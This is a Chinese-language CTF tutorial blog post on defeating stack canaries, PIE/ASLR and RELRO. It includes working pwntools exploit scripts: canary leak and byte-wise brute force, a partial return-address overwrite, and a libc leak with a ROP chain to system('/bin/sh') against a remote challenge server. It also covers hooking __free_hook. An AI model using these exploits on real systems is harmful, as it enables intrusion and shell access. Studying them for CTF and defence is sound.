s0m1ng

二进制学习中

栈溢出攻击:安全保护机制与绕过策略

前言:

在现代操作系统中,单纯的栈溢出已经很难直接奏效。编译器和系统引入了多种保护机制,其中最与栈溢出相关的就是 CanaryPIE/ASLR

对于一个elf文件我们可以 checksec 来查看它用了什么保护

Canary (金丝雀) 保护绕过

Canary 是一种专门针对连续覆盖类型栈溢出的保护机制。它会在函数的 rbp/ebp 之前插入一个随机生成的加密数值(金丝雀)。在函数执行完毕准备 ret 返回前,程序会检查这个值是否被篡改。如果被破坏,通常会输出 *** stack smashing detected *** 并强制终止程序。

canary位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
       高地址 (栈底)
+-------------------------+
| (前一个函数的栈帧) |
+-------------------------+
| 返回地址 (RET Address)|
+-------------------------+
| 保存的 RBP / EBP |
+-------------------------+
| Canary (金丝雀) |
+-------------------------+
| |
| 局部变量 (Buffer) |
| |
+-------------------------+
低地址 (栈顶)

Canary 的设计有一个非常关键的特征:它的最低位(第一个字节)永远是 \x00。这是为了防止 putsprintf 等字符串输出函数不小心把它打印出来(因为这些函数遇到 \x00 就会当作字符串结尾停止输出)。

绕过手法一:覆盖最低位泄露 (Leak)

既然输出函数(如puts,printf,fprintf)遇到 \x00 就停,那我们就利用溢出,精准填满缓冲区,并把 Canary 最低位的 \x00 覆盖掉(比如用字符 ‘a’)。这样一来,字符串就没有了结束符,输出函数就会顺藤摸瓜,连带着把剩下的 7 个字节的 Canary 全部打印出来!

核心 Payload 逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
io = process('./pwn')

# 假设缓冲区距离 Canary 的偏移是 0x70-8
# 故意多填 1 字节,覆盖掉 Canary 最低位的 \x00
payload = b'a' * (0x70 - 8 + 1)

# 注意:必须用 send,不能用 sendline,防止附加的 \n 干扰泄露
io.send(payload)

io.recvuntil(b'a' * 0x68)
# 接收后,减去我们覆盖上去的 'a' (0x61),还原出真实的 Canary
canary = u64(io.recv(8)) - 0x61
print(hex(canary))

# 拿到 Canary 后,正常构造 ROP 链进行溢出
payload = b'a' * 0x68 + p64(canary) + b'a' * 8 + p64(0x40101a) + p64(back)
io.sendline(payload)

绕过手法二:逐字节爆破 (Brute-force)

这种手法通常用于使用了 fork() 处理并发的网络服务进程。 核心原理: Canary 在主进程启动时确定,只生成一次。子进程通过 fork() 拷贝父进程时,Canary 的值是完全一样的。如果子进程崩溃(检测到 smashing),父进程依然存活并能派生新的子进程,这为我们提供了无限次尝试的机会。

爆破逻辑:

  1. 已知最低位是 \x00

  2. 从次低位开始,每次只覆盖一个字节,从 0x00 尝试到 0xff (共 256 次)。

  3. 如果程序返回了 smashing 报错,说明猜错了;如果没有报错,说明猜对了当前字节。固定该字节,继续爆破下一个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#canary 检测到一般会输出*** stack smashing detected *** 是固定的提示。所以可以通过爆破来获取canary

#canary 在进程启动时确定,只生成一次。即使fork()也就是把父进程拷贝给子进程,也是一样的canary

from pwn import *
from ctypes import *
r = process("./pwn")
def dbg():
gdb.attach(r)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)
canary = b'\x00'
for i in range(7):
for a in range(256):
num = libc.rand() % 50
r.sendlineafter(b'BaseCTF',str(num))

p = b'a' * 0x68 + canary + p8(a)
r.send(p)

r.recvuntil('welcome\n')
rec = r.readline()

if b'smashing' not in rec:
print(f"No.{i + 1} byte is {hex(a)}")
canary += p8(a)
break

print(f"canary is {hex(u64(canary))}")

shell = 0x02B1
while(1):
for i in range(16):
num = libc.rand() % 50
r.sendline(str(num))

p = b'A' * 0x68 + canary + b'A' * 0x8 + p16(shell)
r.send(p)
rec = r.readline()
print(rec)
if b'welcome' in rec:
r.readline()
shell += 0x1000
continue
else:
break

r.interactive()

PIE / ASLR (地址随机化)

PIE(Position-Independent Executable)使得程序每次加载的基地址都不同,配合系统的 ASLR(地址空间布局随机化),让硬编码地址的 ROP 链全部失效。

核心破局点:页对齐原理 (Page Alignment)

无论是主程序还是 libc.so,加载到内存时都必须严格遵循页对齐。在 Linux 中,页的大小通常是 4KB (即 0x1000 字节)。

绝对铁律: 加载基址的低 12 位(二进制最低 12 bit,即十六进制的最后三位数)始终为 0

这意味着,一个地址的低 12 位(即页内偏移)是永远固定的,无论 ASLR 怎么变,它都不会参与随机化

对于64位Linux:

1
2
3
4
5
6
[ 47 .................. 12 ][ 11 .......... 0 ]
↑ ↑
| |
| └── 页内偏移(Page Offset,12 位 = 4KB)
|
└── 页号(Page Number)

bit[0..11] (低 12 位):页内偏移,永远是固定的(页大小 4KB)。

bit[12..47]:页号,会随着 ASLR 随机化。

bit[48..63]:在 Linux 下一般是符号扩展(因为有效地址只有 48 位)。

对于32位Linux:

1
2
3
4
[ 31 .................. 12 ][ 11 .......... 0 ]
↑ ↑
| └── 页内偏移 (Page Offset, 12 bit)
└── 页号 (Page Number, 20 bit)

bit[0..11] → 页内偏移,固定。

bit[12..31] → 页号,会被 ASLR 随机化。

绕过手法一:部分覆盖 (Partial Write)

当我们没有任何漏洞可以泄露地址时,可以利用“页内偏移固定”的特性。我们不覆盖整个 8 字节的返回地址(64位linux),而是只覆盖返回地址的最末尾 1 到 2 个字节

  • 如果只覆盖最低 1 字节(8 bits),必定 100% 成功,因为低 12 位是绝对不变的。

  • 如果覆盖最低 2 字节(16 bits),会有 4 个 bit (16 - 12 = 4) 受到 ASLR 的影响,成功率通常是 $1/2^4 = 1/16$,可以结合脚本循环爆破。

只要你的目标函数(比如后门 get_shell)和栈上原本要返回的函数在同一个代码页内(相对距离非常近,只有末尾 1~2 个字节不同),你就可以用这种手法,把 ASLR 变成摆设

实战示例 (单字节稳定篡改):

1
2
3
4
# 原本的返回地址可能是 0x55xxxxxx1234,目标指令地址在 0x55xxxxxx1289 
# 只覆盖最低一个字节,即可精确跳转到同一内存页面的其他指令
payload = b'a' * 0x108 + b'\x89'
p.send(payload)

绕过手法二:泄露并计算基址

最常规、最稳妥的打法:利用输出函数(如 putswrite)打印出内存中某个已知的绝对地址,然后减去其固定偏移,逆向算出内存加载基址。

细节避坑: 在发送 padding 准备泄露地址时,务必使用 send() 而不是 sendline()。因为 sendline() 会在末尾追加一个换行符 \n (0x0a),这会污染目标地址的最末位,导致泄露失败。

例题:basectf 2024 pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *                                    


p=remote('gz.imxbt.cn',20678)
#p=process('./vuln')

libc = ELF("./libc.so.6")


paylaod=b'a'*0x108+b'\x89'
p.send(paylaod) #这里一定用send,因为sendline会污染接受的地址

p.recvuntil(b'a'*0x108)


adr_libc_main=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=adr_libc_main-0x29D89
success(hex(libc_base))

adr_sys=libc_base+libc.symbols['system']
adr_binsh=libc_base+next(libc.search(b'/bin/sh'))
adr_pop_rdi=0x2a3e5+libc_base
adr_ret=0x29139+libc_base

paylaod=b'a'*0x108+p64(adr_ret)+p64(adr_pop_rdi)+p64(adr_binsh)+p64(adr_sys) #出错就检查栈是否对齐

p.sendline(paylaod)

p.interactive()

RELRO (重定位只读) 的应对策略

在没有 RELRO 或者只有 Partial RELRO 的时代,由于延迟绑定机制的存在,GOT 表(.got.plt 段)必须是可读可写 (rw-) 的。黑客最喜欢的打法就是GOT 表劫持:利用任意地址写漏洞,把 elf.got['puts'] 里的地址改成 system 的地址。下次程序再调用 puts("/bin/sh") 时,实际上执行的就是 system("/bin/sh")

为了封杀这种极其好用的打法,RELRO (Relocation Read-Only) 保护应运而生。

保护级别的差异:Partial vs Full

使用 checksec 命令时,你会看到 RELRO 有两种状态:

1. Partial RELRO (部分保护)

  • 现状: 仅仅把 .dynamic 等一些内部段设为只读。但最重要的 .got.plt(也就是我们常说的 GOT 表)依然是可写的

  • 应对策略: 毫无影响。该怎么劫持 GOT 表就怎么劫持,直接把 GOT 表项的地址当作你的写入目标即可。

2. Full RELRO (完全保护)

  • 现状: 程序在启动的瞬间,动态链接器会强制把所有外部函数的真实地址全部查出来并填好(放弃了延迟绑定带来的启动速度优势)。填完之后,立刻把整个 GOT 表的权限改成“只读 (r--)”

  • 影响: 一旦开启,GOT 表劫持彻底宣告死亡。如果你用 Payload 强行往 GOT 表地址里写数据,程序会当场抛出段错误 (Segmentation Fault) 并崩溃。

突破 Full RELRO:寻找“替身”指针

既然 GOT 表被锁进了保险箱,我们就不能死磕了。我们的核心思路是:在内存中寻找其他依然“可读可写”,并且“必定会被程序调用”的函数指针!

其中最经典、最好用的替身,就藏在 libc.so 里:

替身一:劫持 Hook 函数 (__malloc_hook / __free_hook)

在 Linux 的标准 C 库 (glibc) 中,为了方便程序员调试内存泄漏,开发者预留了几个钩子(Hook)变量。它们存放在 libc 的可读写数据段(.data.bss)中。

工作原理: 当程序调用 malloc() 时,底层会先去检查 __malloc_hook 这个变量里有没有存放地址。如果有,它就会先去执行这个地址里的代码;free()__free_hook 同理。

利用手法: 我们通过漏洞(比如格式化字符串或堆溢出),把 system 的地址或者 one_gadget 的地址,写进 __free_hook 中。接下来,只要程序代码里执行了 free(chunk),并且 chunk 里面刚好装着字符串 /bin/sh,就完美等价于执行了 system("/bin/sh")

Pwntools 实战寻址:

1
2
3
4
5
6
7
8
# 前提:你已经通过漏洞泄露并计算出了 libc_base
libc.address = libc_base

# 获取 free_hook 在当前运行时的绝对地址
free_hook_addr = libc.sym['__free_hook']
system_addr = libc.sym['system']

# 接下来利用你的任意写漏洞,把 system_addr 写入 free_hook_addr

替身二:劫持退出函数 (__exit_funcs / tls_dtor_list)

如果程序没有任何漏洞可以触发 mallocfree 怎么办?只要程序最终会调用 exit() 正常退出,或者从 main 函数 return,它就会去执行注册在 __exit_funcs 列表里的收尾函数。

利用手法: 找到这个列表的指针,将其覆盖为我们要执行的后门地址。当程序“自以为”在正常退出时,实际上却启动了我们的 Shell。

替身三:既然不让改指针,那就改栈!(栈迁移)

如果题目既开启了 Full RELRO,又是极其严苛的栈溢出(比如溢出长度只有区区 8 个字节,刚够覆盖 rbpret,根本写不下一条完整的 ROP 链),而且也没有任意地址写漏洞去改 Hook 怎么办?

这时候,我们就彻底放弃“修改已有的函数指针”,转而劫持 RSP(栈顶指针),把整个栈强行搬到我们提前布置好数据的 BSS 段或堆上去执行

详见栈迁移

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道